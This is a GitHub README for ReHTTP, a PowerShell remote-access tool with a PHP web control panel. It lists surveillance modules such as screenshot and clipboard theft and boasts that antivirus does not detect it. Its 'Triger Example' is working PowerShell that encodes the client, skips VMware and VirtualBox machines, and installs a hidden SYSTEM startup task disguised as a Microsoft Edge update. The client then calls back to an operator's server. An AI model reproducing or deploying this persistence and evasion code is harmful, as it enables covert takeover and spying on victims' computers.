Skip to content
/ ReHTTP Public

Simple Powershell Http shell With WEB UI

License

Notifications You must be signed in to change notification settings

jxroot/ReHTTP

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

98 Commits
 
 
 
 
 
 
 
 

Repository files navigation

๏ปฟ

logo

ReHTTP


Simple Powershell Http shell With WEB UI

php CodeFactor

enter image description here

๐ŸคŸ Main

  • Client list
  • System Info
  • Client Status
  • Set Label
  • Remove Client
  • Module
  • Variable
  • Event

๐Ÿ’Ž Shell

shell tab demo

Run Powershell Command And You Can Add Command in Scheduled
  • Shell Access

๐Ÿ“Ÿ Module

enter image description here

enter image description here

enter image description here

Run Powershell Code as Function Or Module

note : for use template edit $SERVER_URL in Code
  • Add Module
  • Edit Module
  • Delete Module
  • --------------templates-----------------------
  • Beep Sound
  • MessageBox
  • Download Current Background
  • Get System IdleTime
  • Get System LastInput
  • Get Public IP
  • Get-Clipboard
  • Set-Clipboard
  • Screenshot
  • OpenLink

๐Ÿงฎ Variable

enter image description here

enter image description here

Run PHP Code as Variable And Use In PowerShell Script

  • Add Variable
  • Edit Variable
  • Delete Variable
  • --------------templates-----------------------
  • random

๐Ÿ“œ History

enter image description here

if Your Client Break You Can Remove Last Command /:

  • Show Command And Module
  • Remove Command
  • Re Execute Command

๐Ÿช„ Event

enter image description here

Run Custom Command

  • First Connection ( Init )
  • Every Connection ( UP )
  • Destroy ( Destroy )

๐Ÿ›  Dependency

  • PHP 5.4 And Higher
  • Mysql

๐Ÿฆ  Antivirus

enter image description here

FUD Scan Time + Run Time :)

๐Ÿ’ฟ Installation And Usage

1- Edit $SERVER_URL in Client.ps1

2- Run ps1 script

3- Create Database

git clone https://github.com/jxroot/ReHTTP.git
cd ReHTTP/Server/
php -S 127.0.0.1:8000 

enter image description here

Triger Example For Client

$s = Get-Content client.ps1 | Out-String
$j = [PSCustomObject]@{
  "Script" = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($s))
} | ConvertTo-Json -Compress
$oneline = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('" + $j + "' | ConvertFrom-Json).Script)) | iex"
$c = [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes($oneline))
$template = '
$VM=get-wmiobject win32_computersystem |select -ExpandProperty Model
if(($VM -NotLike "*VMware*") -and ($VM -NotLike "VirtualBox")){
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument " -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded  '+ $c + '" 
$trigger = New-ScheduledTaskTrigger -AtStartup 
$settings = New-ScheduledTaskSettingsSet -Hidden
$user = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest  
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineUAS" -TaskPath "\"  -Action $action -Settings $settings -Trigger $trigger -Principal $user
Start-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineUAS" 
}

' New-Item -Path . -Name evil.ps1 -Value $template -Force

๐Ÿ’ป Operating Systems Tested

  • Windows 7
  • Windows 10
  • Windows 11

๐Ÿ“น YouTube Tutorials

How Install And Usage ReHTTP

๐Ÿ”ฑ Next Update

  • fix ui bugs
  • clean code
  • add event for distroy
  • add multi exec command for client
  • upload and download module
  • async command
  • scheduled task ( Date )
  • background task
  • ui for system information and manage like hiorbit
  • add file manager
  • security (xss,csrf,rce,login page,...)

๐Ÿ“ง Contact